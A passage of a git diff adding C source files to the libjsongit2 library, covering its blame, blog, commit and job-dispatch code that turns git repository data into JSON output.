Write each bhi's ordinal index, now the date sorting has been done.\n+\t * The contributor list wants to use it to show where the sig data is.\n+\t */\n+\n+\tlp \u003d ctx-\u003esorted_head;\n+\twhile (lp) {\n+\t\tb \u003d lp_to_bhi(lp, next);\n+\t\tb-\u003eordinal \u003d ord++;\n+\t\tlp \u003d b-\u003enext;\n+\t}\n+\n+\t/*\n+\t * create the sorted contributor list from the unique fsig reps and\n+\t * the line count accumulation on each we performed earlier.\n+\t *\n+\t * We're walking the \u0022uniq\u0022 list, but creating in the \u0022sort\u0022 list.\n+\t */\n+\n+\tctx-\u003ehead_sort_fsig \u003d NULL;\n+\n+\tlp \u003d ctx-\u003ehead_uniq_fsig;\n+\twhile (lp) {\n+\t\tb \u003d lp_to_bhi(lp, next_uniq_fsig);\n+\t\tlist_ptr_insert(\u0026ctx-\u003ehead_sort_fsig, \u0026b-\u003enext_sort_fsig,\n+\t\t\t\tbhi_uniq_fsig_sort);\n+\t\tlp \u003d b-\u003enext_uniq_fsig;\n+\t}\n+\n+\t/* initialize the iterator to walk the sort list */\n+\tctx-\u003econtrib \u003d ctx-\u003ehead_sort_fsig;\n+\n+\tmeta_header(ctx);\n+\n+\tjob_common_header(ctx);\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022oid\u005c\u0022:\u0022);\n+\tjg2_json_oid(\u0026ctx-\u003eblame_opts.newest_commit, ctx);\n+\tCTX_BUF_APPEND(\u0022,\u0022);\n+\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022blame\u005c\u0022: [\u0022);\n+\n+\treturn 0;\n+\n+bail:\n+\tlwsl_err(\u0022%s: bailed\u005cn\u0022, __func__);\n+\tjob_blame_destroy(ctx);\n+\n+\treturn -1;\n+}\n+#endif\n+\n+int\n+job_blame(struct jg2_ctx *ctx)\n+{\n+#if LIBGIT2_HAS_BLAME\n+\tchar pure[128];\n+#endif\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_blame_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+#if !LIBGIT2_HAS_BLAME\n+\tctx-\u003efinal \u003d 1;\n+#else\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_blame_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\tif (ctx-\u003eblame_init_phase)\n+\t\treturn job_blame_lines(ctx);\n+\n+\tif (!ctx-\u003ebhi \u0026\u0026 !ctx-\u003ebli) {\n+\n+\t\t/* we are walking the \u0022sort\u0022 list */\n+\n+\t\twhile (ctx-\u003econtrib \u0026\u0026 JG2_HAS_SPACE(ctx, 72)) {\n+\t\t\tstruct blame_hunk_info *bhi \u003d\n+\t\t\t\tlp_to_bhi(ctx-\u003econtrib, next_sort_fsig);\n+\n+\t\t\tCTX_BUF_APPEND(\u0022%c\u005cn{\u005c\u0022l\u005c\u0022: %u,\u005c\u0022o\u005c\u0022: %u}\u0022,\n+\t\t\t\t ctx-\u003epos++ ? ',' : ' ',\n+\t\t\t\t bhi-\u003ecount_lines_rep_acc, bhi-\u003eordinal);\n+\n+\t\t\tctx-\u003econtrib \u003d bhi-\u003enext_sort_fsig;\n+\t\t}\n+\n+\t\tif (ctx-\u003econtrib)\n+\t\t\treturn 0;\n+\n+\t\t/* we finished... */\n+\n+\t\tmeta_trailer(ctx, \u0022]\u0022);\n+\t\tjob_blame_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tdo {\n+\t\twhile (ctx-\u003ebli) {\n+\t\t\tif (!JG2_HAS_SPACE(ctx, 72))\n+\t\t\t\tbreak;\n+\n+\t\t\tCTX_BUF_APPEND(\u0022%c\u005cn{\u005c\u0022l\u005c\u0022: %u,\u005c\u0022o\u005c\u0022: %u,\u005c\u0022f\u005c\u0022: %u}\u0022,\n+\t\t\t\t ctx-\u003epos++ ? ',' : ' ', ctx-\u003ebli-\u003elines,\n+\t\t\t\t ctx-\u003ebli-\u003eline_start_orig,\n+\t\t\t\t ctx-\u003ebli-\u003eline_start_final);\n+\n+\t\t\tctx-\u003ebli \u003d lp_to_bli(ctx-\u003ebli-\u003enext, next);\n+\n+\t\t\tif (!ctx-\u003ebli)\n+\t\t\t\tCTX_BUF_APPEND(\u0022]}\u0022);\n+\t\t}\n+\n+\t\tif (ctx-\u003ebli) /* we ran out of buffer space */\n+\t\t\tbreak;\n+\n+\t\tif (!ctx-\u003ebhi) {\n+\t\t\t/* ...that was the last bhi we just finished.\n+\t\t\t * Move on to doing the sorted contributor list\n+\t\t\t */\n+\t\t\tCTX_BUF_APPEND(\u0022],\u005cn\u005c\u0022contrib\u005c\u0022:[\u0022);\n+\t\t\tctx-\u003epos \u003d 0;\n+\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\t/* we need a new bhi */\n+\n+\t\tif (!JG2_HAS_SPACE(ctx, 768))\n+\t\t\tbreak;\n+\n+\t\t/* we do have a new bhi to tell about */\n+\n+\t\tctx-\u003epos \u003d 0;\n+\n+\t\tCTX_BUF_APPEND(\u0022%c\u005cn{\u005c\u0022ord\u005c\u0022:%d,\u005c\u0022orig_oid\u005c\u0022:\u0022,\n+\t\t\t ctx-\u003ecount++ ? ',' : ' ', ctx-\u003ebhi-\u003eordinal);\n+\t\tjg2_json_oid(\u0026ctx-\u003ebhi-\u003ehunk.orig_commit_id, ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022final_oid\u005c\u0022:\u0022);\n+\t\tjg2_json_oid(\u0026ctx-\u003ebhi-\u003ehunk.final_commit_id, ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022sig_orig\u005c\u0022: \u0022,\n+\t\t\t(unsigned int)ctx-\u003ebhi-\u003ehunk.orig_start_line_number,\n+\t\t\t(unsigned int)ctx-\u003ebhi-\u003ehunk.final_start_line_number);\n+\t\tsignature_json(\u0026ctx-\u003ebhi-\u003eorig, ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022log_orig\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t\tellipsis_purify(pure, ctx-\u003ebhi-\u003eorig_summary,\n+\t\t\t\t\t\tsizeof(pure)));\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022sig_final\u005c\u0022: \u0022);\n+\t\tsignature_json(\u0026ctx-\u003ebhi-\u003efinal, ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022log_final\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t ellipsis_purify(pure, ctx-\u003ebhi-\u003efinal_summary,\n+\t\t\t\t\t sizeof(pure)));\n+\n+\t\t/* only add orig_path if it differs from our starting path */\n+\t\tif (ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026\n+\t\t strcmp(ctx-\u003esr.e[JG2_PE_PATH], ctx-\u003ebhi-\u003ehunk.orig_path)) {\n+\t\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022op\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t\t ellipsis_purify(pure,\n+\t\t\t\t\t\t ctx-\u003ebhi-\u003ehunk.orig_path,\n+\t\t\t\t\t\t sizeof(pure)));\n+\t\t}\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022ranges\u005c\u0022: [\u0022);\n+\n+\t\tctx-\u003ebli \u003d lp_to_bli(ctx-\u003ebhi-\u003eline_range_head, next);\n+\t\tctx-\u003ebhi \u003d lp_to_bhi(ctx-\u003ebhi-\u003enext, next);\n+\n+\t} while (1);\n+#endif\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/blog.c b/lib/job/blog.c\nnew file mode 100644\nindex 0000000..3f31ace\n--- /dev/null\n+++ b/lib/job/blog.c\n@@ -0,0 +1,110 @@\n+/*\n+ * libjsongit2 - blog\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ *\n+ * If the vhost is in blog mode, then the urplaths have no repository part,\n+ * it's faked to be as set by the vhost init args, and no mode part.\n+ *\n+ * /vpath[/path]\n+ *\n+ * If there is a path part, the mode is faked to be \u0022tree\u0022 to use the existing\n+ * inline blob capability and provide by-year and by-month \u0022directory listings\u0022\n+ * reusing the tree dir listing as well.\n+ *\n+ * If there's no path part, we end up here to provide a paginated overview\n+ * listing in time order.\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+static int\n+job_blog_start(struct jg2_ctx *ctx)\n+{\n+\tif (git_reference_iterator_new(\u0026ctx-\u003eiter_ref, ctx-\u003ejrepo-\u003erepo) \u003c 0)\n+\t\treturn -1;\n+\n+\tmeta_header(ctx);\n+\n+\tjob_common_header(ctx);\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022reflist\u005c\u0022: [\u0022);\n+\n+\treturn 0;\n+}\n+\n+static void\n+job_blog_destroy(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003eiter_ref) {\n+\t\tgit_reference_iterator_free(ctx-\u003eiter_ref);\n+\t\tctx-\u003eiter_ref \u003d NULL;\n+\t}\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_blog(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_blog_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_blog_start(ctx))\n+\t\treturn -1;\n+\n+\twhile (JG2_HAS_SPACE(ctx, 768)) {\n+\t\tchar pure[128];\n+\t\tgit_reference *gref, *rref;\n+\t\tconst git_oid *oid;\n+\n+\t\t/*\n+\t\t * This will list 'commit' and 'tag' objects...\n+\t\t * 'commit' objects named refs/heads/xxx represent branch xxx\n+\t\t */\n+\n+\t\tif (git_reference_next(\u0026gref, ctx-\u003eiter_ref) \u003c 0) {\n+\t\t\tmeta_trailer(ctx, \u0022\u005cn]\u0022);\n+\t\t\tjob_blog_destroy(ctx);\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\tgit_reference_resolve(\u0026rref, gref);\n+\t\toid \u003d git_reference_target(rref);\n+\t\tif (oid) {\n+\t\t\tjg2_json_purify(pure, git_reference_name(gref),\n+\t\t\t\t\tsizeof(pure), NULL);\n+\t\t\tCTX_BUF_APPEND(\u0022%c\u005cn{ \u005c\u0022name\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u0022\n+\t\t\t\t \u0022\u005c\u0022summary\u005c\u0022: \u0022,\n+\t\t\t\t ctx-\u003esubsequent ? ',' : ' ', pure);\n+\t\t\tctx-\u003esubsequent \u003d 1;\n+\t\t\tgeneric_object_summary(oid, ctx);\n+\n+\t\t\tCTX_BUF_APPEND(\u0022}\u0022);\n+\t\t}\n+\n+\t\tgit_reference_free(rref);\n+\t\tgit_reference_free(gref);\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/commit.c b/lib/job/commit.c\nnew file mode 100644\nindex 0000000..3ad0b2f\n--- /dev/null\n+++ b/lib/job/commit.c\n@@ -0,0 +1,377 @@\n+/*\n+ * libjsongit2 - commit\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+static int\n+common_print_cb(struct jg2_ctx *ctx, int origin,\n+\t\tconst char *content, size_t content_length)\n+{\n+\tunsigned int u \u003d content_length;\n+\tchar *p, do_pre \u003d 0;\n+\n+ switch (origin) {\n+ case GIT_DIFF_LINE_CONTEXT:\n+ case GIT_DIFF_LINE_ADDITION:\n+ case GIT_DIFF_LINE_DELETION:\n+ \tu++;\n+ \tdo_pre \u003d 1;\n+ \tbreak;\n+ default:\n+ \tbreak;\n+ }\n+\n+\tp \u003d lac_use(\u0026ctx-\u003elac_head, u + 4, 0);\n+\tif (!p)\n+\t\treturn -1;\n+\n+\t*p++ \u003d u \u0026 0xff;\n+\t*p++ \u003d (u \u003e\u003e 8) \u0026 0xff;\n+\t*p++ \u003d (u \u003e\u003e 16) \u0026 0xff;\n+\t*p++ \u003d (u \u003e\u003e 24) \u0026 0xff;\n+\n+\tif (do_pre) {\n+\t\t*p++ \u003d origin;\n+\t\tu--;\n+\t}\n+\n+\tmemcpy(p, content, u);\n+\n+\treturn 0;\n+}\n+\n+#if !LIBGIT2_HAS_DIFF\n+/*\n+ * print it into a lac, adding chunk buffers as needed, sized as needed.\n+ */\n+int patch_print_cb(\n+\tconst git_diff_delta *delta, /** delta that contains this data */\n+\tconst git_diff_range *range, /** range of lines containing this data */\n+\tchar line_origin, /** git_diff_list_t value from above */\n+\tconst char *content, /** diff data - not NUL terminated */\n+\tsize_t content_len, /** number of bytes of diff data */\n+\tvoid *payload)\n+{\n+\tstruct jg2_ctx *ctx \u003d (struct jg2_ctx *)payload;\n+\n+\treturn common_print_cb(ctx, line_origin, content, content_len);\n+}\n+#else\n+/*\n+ * callback interface is different at v0.24\n+ */\n+int patch_print_cb(\n+\tconst git_diff_delta *delta, /** delta that contains this data */\n+\tconst git_diff_hunk *hunk, /**\u003c hunk containing this data */\n+\tconst git_diff_line *line, /**\u003c line data */\n+\tvoid *payload)\n+{\n+\tstruct jg2_ctx *ctx \u003d (struct jg2_ctx *)payload;\n+\n+\treturn common_print_cb(ctx, line-\u003eorigin, line-\u003econtent,\n+\t\t\t line-\u003econtent_len);\n+}\n+#endif\n+\n+static int\n+job_commit_start(struct jg2_ctx *ctx)\n+{\n+\tgit_tree *tp \u003d NULL, *t \u003d NULL;\n+\tgit_commit *parent \u003d NULL;\n+#if !LIBGIT2_HAS_DIFF\n+\tgit_diff_list *d \u003d NULL;\n+#else\n+\tgit_diff *d \u003d NULL;\n+#endif\n+\tgit_generic_ptr u;\n+\tgit_oid oid;\n+\tint e, ret \u003d 1;\n+\n+\tif (!ctx-\u003ehex_oid[0]) {\n+\t\tlwsl_err(\u0022%s: no oid\u005cn\u0022, __func__);\n+\t\treturn 1;\n+\t}\n+\n+\tif (ctx-\u003ehex_oid[0] \u003d\u003d 'r') {\n+\t\te \u003d git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t\t ctx-\u003ehex_oid);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: unable to lookup ref '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, e);\n+\t\t\treturn -1;\n+\t\t}\n+\t} else {\n+\t\te \u003d git_oid_fromstr(\u0026oid, ctx-\u003ehex_oid);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: git_oid_fromstr '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, e);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\t}\n+\n+\te \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, \u0026oid, GIT_OBJ_ANY);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022%s: git_object_lookup '%s': %d\u005cn\u0022, __func__,\n+\t\t\t ctx-\u003ehex_oid, e);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tlwsl_err(\u0022%s: not commit '%s'\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\tgit_object_free(u.obj);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tctx-\u003eraw_patch \u003d !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022patch\u0022);\n+\n+\tctx-\u003eu \u003d u;\n+\tif (!ctx-\u003eraw_patch) {\n+\t\tmeta_header(ctx);\n+\n+\t/* we issue three phases... 1) for html,the generic commit summary... */\n+\n+\t\tjob_common_header(ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022commit\u005c\u0022: {\u0022);\n+\n+\t\tcommit_summary(ctx-\u003eu.commit, ctx);\n+\t} else {\n+\n+\t\t/* ... for raw patch, synthesized header info */\n+\n+\t\tsignature_text(git_commit_author(ctx-\u003eu.commit), ctx);\n+\t\tCTX_BUF_APPEND(\u0022\u005cn\u0022);\n+\t}\n+\n+\t/* 2) if any, the commit message body (part after the first paragraph */\n+\n+\tctx-\u003ebody \u003d git_commit_message(ctx-\u003eu.commit);\n+\tif (!ctx-\u003eraw_patch \u0026\u0026 ctx-\u003ebody)\n+\t\tCTX_BUF_APPEND(\u0022},\u005cn \u005c\u0022body\u005c\u0022: \u005c\u0022\u0022);\n+\n+\t/* 3) if any, the diff itself */\n+\n+\tctx-\u003epos \u003d 0;\n+\n+\te \u003d git_commit_parent(\u0026parent, ctx-\u003eu.commit, 0);\n+\tif (!e) {\n+\t\te \u003d git_commit_tree(\u0026tp, parent);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: git_commit_tree (parent) failed %d\u005cn\u0022,\n+\t\t\t\t\t__func__, e);\n+\t\t\tgoto bail2;\n+\t\t}\n+\t} else\n+\t\ttp \u003d NULL;\n+\n+\te \u003d git_commit_tree(\u0026t, ctx-\u003eu.commit);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022%s: git_commit_tree failed %d\u005cn\u0022, __func__, e);\n+\t\tgoto bail1;\n+\t}\n+\n+\te \u003d git_diff_tree_to_tree(\u0026d, ctx-\u003ejrepo-\u003erepo, tp, t, NULL);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022%s: git_diff_tree_to_tree failed %d\u005cn\u0022, __func__, e);\n+\t\tgoto bail1;\n+\t}\n+\n+#if LIBGIT2_HAS_DIFF\n+\tif (git_diff_print(d, GIT_DIFF_FORMAT_PATCH, patch_print_cb, ctx) \u003c 0)\n+\t{\n+\t\tlwsl_err(\u0022%s: git_diff_print failed\u005cn\u0022, __func__);\n+\t\tgoto bail;\n+\t}\n+#else /* v0.19.0 */\n+\tif (git_diff_print_patch(d, patch_print_cb, ctx) \u003c 0)\n+\t{\n+\t\tlwsl_err(\u0022%s: git_diff_print_patch failed\u005cn\u0022, __func__);\n+\t\tgoto bail;\n+\t}\n+#endif\n+\tctx-\u003elac \u003d ctx-\u003elac_head;\n+\tctx-\u003epos \u003d 0;\n+\tctx-\u003esize \u003d 0;\n+\tctx-\u003eofs \u003d 0;\n+\n+\tif (!ctx-\u003eraw_patch \u0026\u0026 !ctx-\u003ebody)\n+\t\tCTX_BUF_APPEND(\u0022},\u005cn \u005c\u0022diff\u005c\u0022: \u005c\u0022\u0022);\n+\n+\tret \u003d 0;\n+\n+bail:\n+#if LIBGIT2_HAS_DIFF\n+\tgit_diff_free(d);\n+#else\n+\tgit_diff_list_free(d);\n+#endif\n+bail1:\n+\tif (tp)\n+\t\tgit_tree_free(tp);\n+bail2:\n+\tif (t)\n+\t\tgit_tree_free(t);\n+\tif (parent)\n+\t\tgit_commit_free(parent);\n+\n+\tif (ret)\n+\t\tlwsl_err(\u0022%s: failed out\u005cn\u0022, __func__);\n+\n+\treturn ret;\n+}\n+\n+static void\n+job_commit_destroy(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003eu.commit) {\n+\t\tgit_commit_free(ctx-\u003eu.commit);\n+\t\tctx-\u003eu.commit \u003d NULL;\n+\t}\n+\n+\tlac_free(\u0026ctx-\u003elac_head);\n+\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_commit(struct jg2_ctx *ctx)\n+{\n+\tint m;\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_commit_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_commit_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\t/* add body */\n+\n+\twhile (ctx-\u003ebody \u0026\u0026 JG2_HAS_SPACE(ctx, 768)) {\n+\t\tsize_t inlim_totlen \u003d 0;\n+\n+\t\tif (!ctx-\u003ebody)\n+\t\t\tgoto ended;\n+\n+\t\t/* control chars may bloat to 6x */\n+\t\twhile (inlim_totlen \u003c 84 \u0026\u0026 ctx-\u003ebody[inlim_totlen])\n+\t\t\tinlim_totlen++;\n+\n+\t\tm \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) - 1;\n+\t\tif (!ctx-\u003eraw_patch)\n+\t\t\tctx-\u003ep +\u003d jg2_json_purify(ctx-\u003ep, (char *)ctx-\u003ebody, m,\n+\t\t\t\t\t \u0026inlim_totlen);\n+\t\telse {\n+\t\t\tif (inlim_totlen \u003e (size_t)m)\n+\t\t\t\tinlim_totlen \u003d m;\n+\t\t\tmemcpy(ctx-\u003ep, ctx-\u003ebody, inlim_totlen);\n+\t\t\tctx-\u003ep +\u003d inlim_totlen;\n+\t\t}\n+\t\tctx-\u003ebody +\u003d inlim_totlen;\n+\n+\t\tif (!*ctx-\u003ebody)\n+\t\t\tctx-\u003ebody \u003d NULL;\n+\n+\t\tif (!ctx-\u003eraw_patch \u0026\u0026 !ctx-\u003ebody) {\n+\t\t\tCTX_BUF_APPEND(\u0022\u005c\u0022\u005cn\u0022, m);\n+\n+\t\t\tif (ctx-\u003elac)\n+\t\t\t\tCTX_BUF_APPEND(\u0022,\u005cn \u005c\u0022diff\u005c\u0022: \u005c\u0022\u0022);\n+\t\t\telse\n+\t\t\t\tCTX_BUF_APPEND(\u0022}\u005cn\u0022);\n+\t\t}\n+\n+\t\tif (ctx-\u003eraw_patch \u0026\u0026 !ctx-\u003ebody)\n+\t\t\tCTX_BUF_APPEND(\u0022\u005cn\u005cn\u0022);\n+\t}\n+\n+\twhile (!ctx-\u003ebody \u0026\u0026 ctx-\u003elac \u0026\u0026 JG2_HAS_SPACE(ctx, 512)) {\n+\t\tsize_t inlim_totlen \u003d 84; /* control chars may bloat to 6x */\n+\t\tchar *p \u003d (char *)(ctx-\u003elac + 1) + ctx-\u003eofs;\n+\n+\t\tif (!ctx-\u003esize) {\n+\t\t\tctx-\u003esize \u003d (unsigned char)*p++;\n+\t\t\tctx-\u003esize |\u003d ((unsigned char)*p++) \u003c\u003c 8;\n+\t\t\tctx-\u003esize |\u003d ((unsigned char)*p++) \u003c\u003c 16;\n+\t\t\tctx-\u003esize |\u003d ((unsigned char)*p++) \u003c\u003c 24;\n+\n+\t\t\tctx-\u003epos \u003d 0;\n+\t\t\tctx-\u003eofs +\u003d 4;\n+\t\t}\n+\n+\t\tif (inlim_totlen \u003e ctx-\u003esize - ctx-\u003epos)\n+\t\t\tinlim_totlen \u003d ctx-\u003esize - ctx-\u003epos;\n+\n+\t\tif (ctx-\u003eraw_patch) {\n+\t\t\tmemcpy(ctx-\u003ep, p, inlim_totlen);\n+\t\t\tctx-\u003ep +\u003d inlim_totlen;\n+\t\t} else\n+\t\t\tctx-\u003ep +\u003d jg2_json_purify(ctx-\u003ep, p,\n+\t\t\t\t\t lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) - 4,\n+\t\t\t\t\t \u0026inlim_totlen);\n+\t\tctx-\u003epos +\u003d inlim_totlen;\n+\t\tctx-\u003eofs +\u003d inlim_totlen;\n+\n+\t\tif (!inlim_totlen) {\n+\t\t\tlwsl_err(\u0022%s: hit NUL\u005cn\u0022, __func__);\n+\t\t\tgoto ended;\n+\t\t}\n+\n+\t\tif (ctx-\u003epos \u003d\u003d ctx-\u003esize) {\n+\t\t\tctx-\u003esize \u003d 0;\n+\t\t\tctx-\u003eofs \u003d lac_align(ctx-\u003eofs);\n+\t\t\tctx-\u003epos \u003d 0;\n+\t\t}\n+\n+\t\tif (ctx-\u003eofs + sizeof(*ctx-\u003elac) \u003e\u003d ctx-\u003elac-\u003eofs) {\n+\t\t\tctx-\u003elac \u003d ctx-\u003elac-\u003enext;\n+\t\t\tctx-\u003epos \u003d 0;\n+\t\t\tctx-\u003eofs \u003d 0;\n+\t\t\tif (!ctx-\u003elac)\n+\t\t\t\tgoto ended;\n+\t\t}\n+\t}\n+\tif (!ctx-\u003ebody \u0026\u0026 !ctx-\u003elac)\n+\t\tgoto ended;\n+\n+\tgoto done;\n+\n+ended:\n+\tif (!ctx-\u003eraw_patch)\n+\t\tmeta_trailer(ctx, \u0022\u005c\u0022\u0022);\n+\tctx-\u003ejob \u003d NULL;\n+\tctx-\u003efinal \u003d 1;\n+\tctx-\u003ebody \u003d NULL;\n+\tjob_commit_destroy(ctx);\n+\n+done:\n+\treturn 0;\n+}\ndiff --git a/lib/job/job.c b/lib/job/job.c\nnew file mode 100644\nindex 0000000..18fbb5c\n--- /dev/null\n+++ b/lib/job/job.c\n@@ -0,0 +1,953 @@\n+/*\n+ * libjsongit2 - jobs\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+#include \u003cfcntl.h\u003e\n+#include \u003cerrno.h\u003e\n+#include \u003cunistd.h\u003e\n+#include \u003cstdio.h\u003e\n+\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/time.h\u003e\n+#include \u003csys/types.h\u003e\n+\n+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)\n+\n+static jg2_job jobs[] \u003d {\n+\tjob_reflist,\n+\tjob_log,\n+\tjob_commit,\n+\tjob_commit,\n+\tjob_tree,\n+\tjob_plain,\n+\tjob_repos,\n+\tjob_snapshot,\n+\tjob_blame,\n+\tjob_blog,\n+};\n+\n+jg2_job\n+jg2_get_job(jg2_job_enum n)\n+{\n+\treturn jobs[n];\n+}\n+\n+int\n+jg2_job_naked(struct jg2_ctx *ctx)\n+{\n+\tif (!ctx-\u003esr.e[JG2_PE_MODE])\n+\t\treturn 0;\n+\n+\tif (!strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022plain\u0022))\n+\t\treturn JG2_JOB_PLAIN;\n+\n+\tif (!strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022snapshot\u0022))\n+\t\treturn JG2_JOB_SNAPSHOT;\n+\n+\tif (!strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022patch\u0022))\n+\t\treturn JG2_JOB_PATCH;\n+\n+\treturn 0; /* nope */\n+}\n+\n+int\n+job_spool_from_cache(struct jg2_ctx *ctx)\n+{\n+\tint left, n;\n+\n+\tif (ctx-\u003efd_cache \u003d\u003d -1)\n+\t\treturn -1;\n+\n+\tleft \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep);\n+\tif (left \u003c\u003d JG2_RESERVE_SEAL)\n+\t\treturn 0;\n+\tleft -\u003d JG2_RESERVE_SEAL;\n+\n+\tn \u003d read(ctx-\u003efd_cache, ctx-\u003ep, left);\n+\tif (n \u003c 0) {\n+\t\tlwsl_err(\u0022%s: error reading from cache, errno: %d\u005cn\u0022,\n+\t\t\t __func__, errno);\n+\t\tclose(ctx-\u003efd_cache);\n+\t\tctx-\u003efd_cache \u003d -1;\n+\n+\t\treturn -1;\n+\t}\n+\n+\tctx-\u003ep +\u003d n;\n+\tctx-\u003eexisting_cache_pos +\u003d n;\n+\n+\tif (!n || ctx-\u003eexisting_cache_pos \u003d\u003d ctx-\u003eexisting_cache_size) {\n+\t\t/* finished */\n+\t\tctx-\u003efinal \u003d 1;\n+\t\tctx-\u003ejob \u003d NULL;\n+\t\tclose(ctx-\u003efd_cache);\n+\t\tctx-\u003efd_cache \u003d -1;\n+\n+\t\t//if (ctx-\u003emeta_last_job)\n+\t\t\tctx-\u003emeta \u003d 1;\n+\t\tmeta_trailer(ctx, NULL);\n+\t}\n+\n+\treturn 0;\n+}\n+\n+/* requires vhost 